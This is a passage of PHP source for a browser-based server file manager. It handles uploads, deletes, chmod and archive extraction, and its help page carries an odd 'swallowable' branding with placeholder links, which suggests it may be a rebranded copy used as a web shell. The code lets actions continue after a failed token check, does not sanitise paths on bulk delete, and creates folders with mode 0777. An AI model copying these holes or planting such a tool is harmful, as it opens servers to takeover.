    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
